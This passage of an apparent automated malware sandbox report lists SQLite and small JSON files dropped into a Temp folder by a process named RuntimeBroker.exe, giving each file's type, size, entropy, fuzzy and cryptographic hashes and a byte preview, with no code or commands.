Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uk7BjVpF6X

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\umHGDQ0zTM

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\utd07389pL

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uuXgfB14ox

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vFmrbdqxvI

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vSJN3czAom

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vaOP6nji6b

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vgKgeF8NVe

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vlJUG9gnub

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\votcRneyjb

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w38hrPgW1B

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w53K1EodWJ

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\wCZ2Sr04fe

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wPc5ZgvS2e

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wUjCkyP81V

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wezl6YEICb

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\whEflcAdpT

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wpvqFofaeS

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wyB4PHSclq

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\xfWr4MuVaF

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xhYvmCAEBe

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xvqE4bkFeV

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yBxTcB73xF

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yESgyB8bhb

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\yHBbQlk9kx

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yHJpxm6zk7

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yHPVqCcKPu

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
